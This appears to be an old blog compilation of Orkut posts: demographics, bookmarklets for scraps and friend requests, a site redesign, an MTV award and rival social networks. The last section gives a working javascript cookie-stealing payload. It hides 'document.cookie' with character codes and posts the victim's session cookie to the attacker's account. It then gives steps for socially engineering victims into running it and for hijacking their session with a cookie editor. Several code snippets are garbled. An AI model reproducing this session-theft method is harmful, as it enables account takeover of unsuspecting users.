Orkut demography page missing???

Is the Orkut demography page missing??? If it still exists then where is it???

The answer is yes it still exists only that the links is nolong visible anywere. you can checkout the demography at http://www.orkut.co.in/MembersAll.aspxAs you can see at this page brazil is still leading at second pace it's USA and close behind is India.
Although the difference between India and USA is less than 1% but the Brazil is still at no 1 with a gap of 30%.

In age group people between 18-25 are the max users of this site as with most social networking site. Most visit orkut to make friends. So if you thought that demography was removed then you were wrong.

Java code to submit a scrap

The following javascript will mimic the action of submit button. Just paste the code in the address bar after typing out the scrap.

javascript: _submitForm(document.getElementById('scrapInputContainer').getElementsByTagName('a')[0], ’submit’, ‘true’);

What is the use of this virtually nothing. But say you have written scrap to someone and the problem is with submit button then this will be to your rescue especially when you are using in a unsupported browser,

Java code to accept/decline friend request

To accept any friend request just run the following code. you can accept any friend request.

javascript: var rb = document.getElementById('b0²).onclick ; var strrb = rb.toString(); var rbparts= strrb.split('); location.pathname=rbparts[1];

This will accept only the first one. for accepting second one replace b0² by b2² and for third b4² and so on


if you wish to decline just run the following code.

javascript: submitForm(document.getElementById('b1²), declineFriend', );

This will decline only the first one. for accepting second one replace b1² by b3² and for third b5² and so on
This could be of great use if you are using browser not supported by orkut.

Delete scrap using java script

You can delete scrap using javascript. The following java code will delete the scrap.


javascript: var rb = document.getElementById('b6²).onclick ; var strrb = rb.toString(); var rbparts = strrb.split('{'); var rbfinal = rbparts[1].split(’}') ; location.href=javascript: + rbfinal[0];

The above code will delete first scrap from your scrapbook. For 2nd scrap replace b6² by b9² , For 3rd scrap replace b6² by b12² ans so on.

Same code can be used to delete scraps from others scrapbook sent by you. In this case you need to replace b6² by b3² for 1st one, b4² for 2nd one and so on

Orkut Updates

Facebook calls it a feed and Orkut calls it “‘Updates from your friends” . What ever it may be everyone wants to have it.


This was one of the feature that made facebook so popular . Now even Orkut has added it. It hopes to be make Orkut a global success than just being popular in some country.

Facebook’s feeds caused quite an uproar due to their privacy-violating tendencies. Orkut however, doesn't want to repeat the mistake and has added an easy opt-out feature on the settings page.



In addition to this it has launched Several new languages packs or language options. All of these are Indian languages .Hindi, Marathi, Bengali, Telugu, Tamil.This is not a complete transformation as still some options are still in English.
आप किसे जानते हैं?

This takes the tally to 18 languages. It includes English (US & UK), French, Spanish, German, Chinese (Simple and traditional) , Japanese (Simple and traditional), Portuguese, Russian, Italiano, Netherlands.

All new Orkut

What a great topic For My 666Th post .The all new Orkut is finally here. Orkut has been talking about it in their blog. They had been even carrying a pic below the Profile menu box to tell users about the change.

Help page has been already changed for everybody

But now it has been Finally launched. Some users have informed me about this change. Their Orkut has gone white. With-in a Weeks all of us will go white, i mean Orkut will go white. Although i like the white colour I hate the icons. They claim it look a little more sleek and modern to me it seems to be the worst possible icons that could ever exist. What has happened to Google.

Why did it turn white? Coz this is the only only Google service that's in blue. There are others that are black or blue but they have been acquired by Google and not developed by it. Some empty parts of is still blue.
First of all there is a bar at the top and at the bottom. The top bar contains the orkut logo ans 4 links "Home" "Scrapbook" "Community" "Friends". The "Messages " and "what's new" have been removed. At the Other corner you have "Log out" and a search box.
At the bottom Bar You have "About Us" "What's new" "Help" among others. On the either ends you have logo's Orkut logo at left and Google logo at right.
The "messages" is below the Feed's button.
We bring to you some screenshots.For larger image click on the pics.
This is how your Profile is visible to the world.

Now let's look at the scrapbook. There are some minor changes over here.The buttons are at the bottom of the scrap box and not next to it.



Noe let's look at the Friends page. There there are some Major changes. All the boxes like Invite/ Friend level/Download contact are on the right and not left. Only Profile Menu is on the left.


Finally let's look at the Karmas i.e Cool Sexy Fan. They are completely changed.

MTV Youth icon is Orkut



Orkut has been named as MTV India's Youth icon. It had to Fight against Superstar Abhishek Bhachan, Cell Phone, Extremely popular movie Rang De basanthi(RDB) and all of us(YOU).

Mtv's contest was conduced in association with pepsi. Previous winners were Mahendra Singh Dhoni (in 2006), Shah Rukh Khan (in 2005), Rahul Dravid (in 2004) and Anil Ambani (in 2003) .To tell you a secret i had voted for Orkut so i am even more delighted.

Orkut has carried the above pic at it's log in page. There is one tiny problem with the pic although it might not be purposely the pic nowhere carries the word India.



To celebrate this it has created a special page
http://www.orkut.com/mtvyouthicon

This is link to a Orkut Community that any one can visit.This Orkut community is run by MTV .
Any one can hop-in and congratulate it.

Earlier it was the PC World best site award now it's the MTV youth icon. Although orkut is way behind My space in users it sure matches it up in awards and appreciation.


So if you are not a Orkut user go and become one. A google account is all that takes to lodin into Orkut.

    Complete list of Google blog

    This the complete list of all the google blogs.This includes the newly launched Orkut blog too.All these open in new window

    Bloggers are reporting that Google and Yahoo are working on new social networks now that their existing services (Orkut and 360, respectively) have failed to gain traction, except in Brazil in Orkut's case.

    Google has teamed up with Carnegie Mellon University's Human-Computer Interaction Institute on a project called SocialStream. Google is not simply content to copy the standard social networking formula, but instead wants to add a mixture of innovation and interoperability between all their services.

    Here is a Video of Socialstream :


    Yahoo, on the other hand, is said to be working on a new service. It is being called as "Mosh". Few details are known about the project .

    Microsoft, for its part, has talked about a couple of strategies, including making Windows Live Messenger more social network-like as well as creating some kind of meta-social network where people could centralize multiple existing networks.


    The world doesn't need a Google or Yahoo-branded MySpace or Facebook . We need something new. Everyday more and more people are developing apps on Facebook's platform and it will be hard to convince both them and the users of Facebook and MySpace to make the switch to a Google or Yahoo social network. It would be wise for Google and Yahoo to get their projects off the ground soon.

    Working of cookie transfer script.

    This is only to inform users how hackers hack orkut using cookies. The cookie addon has not been given as we are against hacking.It's left to the user to search the world wide web for the exact script if he intents to hack someone.



    javascript:nobody=replyForm;nobody.toUserId.value=62915936; nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)); nobody.action='Scrapbook.aspx?Action.submit';nobody.submit()

    • Place the script in the victims scrapbook/message. i.e ask him to run it.
    • Now that's it his cookie has been tranfered to you.

    To the above script you need to make some changes like "62915936" has to be changed to get the cookie into your account.

    In the cookie editor change the Gid with ours.

    To see the cookie

    • After getting a cookie open the cookie editor plugin
    • Type orkut in the text box and click filter/refresh.
    • Scan for orkut_state cookie.
    • Replace the orkut_state part with your victims.

    With this you can visit the vitims account without knowing his password
